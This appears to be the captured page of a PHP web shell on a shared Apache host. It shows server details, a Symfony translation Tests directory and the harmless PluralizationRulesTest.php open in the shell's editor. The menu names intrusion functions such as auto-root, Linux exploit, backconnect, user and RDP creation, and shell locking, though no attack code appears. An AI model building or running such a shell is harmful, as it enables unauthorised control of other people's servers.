Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
wp /
vendor /
symfony /
translation /
Tests /
[ HOME SHELL ]
Name
Size
Permission
Action
Catalogue
[ DIR ]
drwxr-xr-x
DataCollector
[ DIR ]
drwxr-xr-x
DependencyInjection
[ DIR ]
drwxr-xr-x
Dumper
[ DIR ]
drwxr-xr-x
Extractor
[ DIR ]
drwxr-xr-x
Formatter
[ DIR ]
drwxr-xr-x
Loader
[ DIR ]
drwxr-xr-x
Util
[ DIR ]
drwxr-xr-x
Writer
[ DIR ]
drwxr-xr-x
fixtures
[ DIR ]
drwxr-xr-x
DataCollectorTranslatorTest.ph...
3.18
KB
-rw-r--r--
IdentityTranslatorTest.php
3.41
KB
-rw-r--r--
IntervalTest.php
1.15
KB
-rw-r--r--
LoggingTranslatorTest.php
1.7
KB
-rw-r--r--
MessageCatalogueTest.php
8.37
KB
-rw-r--r--
MessageSelectorTest.php
7.65
KB
-rw-r--r--
PluralizationRulesTest.php
3.84
KB
-rw-r--r--
TranslatorCacheTest.php
11.13
KB
-rw-r--r--
TranslatorTest.php
20.91
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : PluralizationRulesTest.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Tests; use PHPUnit\Framework\TestCase; use Symfony\Component\Translation\PluralizationRules; /** * Test should cover all languages mentioned on http://translate.sourceforge.net/wiki/l10n/pluralforms * and Plural forms mentioned on http://www.gnu.org/software/gettext/manual/gettext.html#Plural-forms. * * See also https://developer.mozilla.org/en/Localization_and_Plurals which mentions 15 rules having a maximum of 6 forms. * The mozilla code is also interesting to check for. * * As mentioned by chx http://drupal.org/node/1273968 we can cover all by testing number from 0 to 199 * * The goal to cover all languages is to far fetched so this test case is smaller. * * @author Clemens Tolboom clemens@build2be.nl */ class PluralizationRulesTest extends TestCase { /** * We test failed langcode here. * * TODO: The languages mentioned in the data provide need to get fixed somehow within PluralizationRules. * * @dataProvider failingLangcodes */ public function testFailedLangcodes($nplural, $langCodes) { $matrix = $this->generateTestData($langCodes); $this->validateMatrix($nplural, $matrix, false); } /** * @dataProvider successLangcodes */ public function testLangcodes($nplural, $langCodes) { $matrix = $this->generateTestData($langCodes); $this->validateMatrix($nplural, $matrix); } /** * This array should contain all currently known langcodes. * * As it is impossible to have this ever complete we should try as hard as possible to have it almost complete. * * @return array */ public function successLangcodes() { return [ ['1', ['ay', 'bo', 'cgg', 'dz', 'id', 'ja', 'jbo', 'ka', 'kk', 'km', 'ko', 'ky']], ['2', ['nl', 'fr', 'en', 'de', 'de_GE', 'hy', 'hy_AM']], ['3', ['be', 'bs', 'cs', 'hr']], ['4', ['cy', 'mt', 'sl']], ['6', ['ar']], ]; } /** * This array should be at least empty within the near future. * * This both depends on a complete list trying to add above as understanding * the plural rules of the current failing languages. * * @return array with nplural together with langcodes */ public function failingLangcodes() { return [ ['1', ['fa']], ['2', ['jbo']], ['3', ['cbs']], ['4', ['gd', 'kw']], ['5', ['ga']], ]; } /** * We validate only on the plural coverage. Thus the real rules is not tested. * * @param string $nplural Plural expected * @param array $matrix Containing langcodes and their plural index values * @param bool $expectSuccess */ protected function validateMatrix($nplural, $matrix, $expectSuccess = true) { foreach ($matrix as $langCode => $data) { $indexes = array_flip($data); if ($expectSuccess) { $this->assertCount((int) $nplural, $indexes, "Langcode '$langCode' has '$nplural' plural forms."); } else { $this->assertNotCount((int) $nplural, $indexes, "Langcode '$langCode' has '$nplural' plural forms."); } } } protected function generateTestData($langCodes) { $matrix = []; foreach ($langCodes as $langCode) { for ($count = 0; $count < 200; ++$count) { $plural = PluralizationRules::get($count, $langCode); $matrix[$langCode][$count] = $plural; } } return $matrix; } }
Close